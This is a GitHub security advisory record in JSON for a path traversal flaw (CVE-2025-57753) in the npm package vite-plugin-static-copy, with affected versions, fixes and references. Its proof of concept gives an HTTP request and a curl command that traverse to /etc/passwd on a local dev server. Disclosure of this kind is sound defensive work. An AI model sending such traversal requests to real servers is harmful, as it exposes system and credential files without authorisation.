{"id":"GHSA-pp7p-q8fx-2968","summary":"vite-plugin-static-copy files not included in `src` are possible to access with a crafted request","details":"### Summary\n\nFiles not included in `src` was possible to access with a crafted request.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\nArbitrary files can be disclosed by exploiting this vulnerability.\n\n### Details\n\nConsider the following configuration in used by `vite.config.ts`:\n\n```ts\nimport { defineConfig } from 'vite'\nimport { viteStaticCopy } from 'vite-plugin-static-copy'\n\nexport default defineConfig({\n    plugins: [\n      viteStaticCopy({\n        targets: [\n          {\n            src: \"./public/images\",\n            dest: \"./\",\n          },\n        ],\n      }),\n    ],\n  });\n```\n\nThe files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.\n\n### PoC\nI've attached a demo app to showcase the bug.\n\nRun it with `npm run dev` and issue the following HTTP request\n\n```\nGET /static/images/../../../../../../../etc/passwd HTTP/1.1\nHost: localhost:3001\nContent-Length: 2\n```\nOR \n```\ncurl --path-as-is -i -s -k -X $'GET' \\\n    -H $'Host: localhost:3001' -H $'Content-Length: 2' \\\n    --data-binary $'\\x0d\\x0a' \\\n    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'\n```\nObserve that the `/etc/passwd` file is included in the response.\n\n\u003cimg width=\"1289\" height=\"449\" alt=\"Screenshot 2025-08-16 at 10 27 11 PM\" src=\"https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37\" /\u003e","aliases":["CVE-2025-57753"],"modified":"2025-08-21T19:16:58Z","published":"2025-08-21T14:53:52Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-08-21T14:53:52Z","nvd_published_at":"2025-08-21T16:15:34Z"},"references":[{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/security/advisories/GHSA-pp7p-q8fx-2968"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57753"},{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/commit/0bc6b49ed72b46eecfc9682045f4b46a19694969"},{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/commit/4627afb8582083eab733881d3d974e1c1f23997d"},{"type":"PACKAGE","url":"https://github.com/sapphi-red/vite-plugin-static-copy"},{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/releases/tag/vite-plugin-static-copy%402.3.2"},{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/releases/tag/vite-plugin-static-copy%403.1.2"}],"affected":[{"package":{"name":"vite-plugin-static-copy","ecosystem":"npm","purl":"pkg:npm/vite-plugin-static-copy"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.1.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-pp7p-q8fx-2968/GHSA-pp7p-q8fx-2968.json","last_known_affected_version_range":"\u003c= 3.1.1"}},{"package":{"name":"vite-plugin-static-copy","ecosystem":"npm","purl":"pkg:npm/vite-plugin-static-copy"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.4.3"},{"fixed":"2.3.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.3.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-pp7p-q8fx-2968/GHSA-pp7p-q8fx-2968.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}
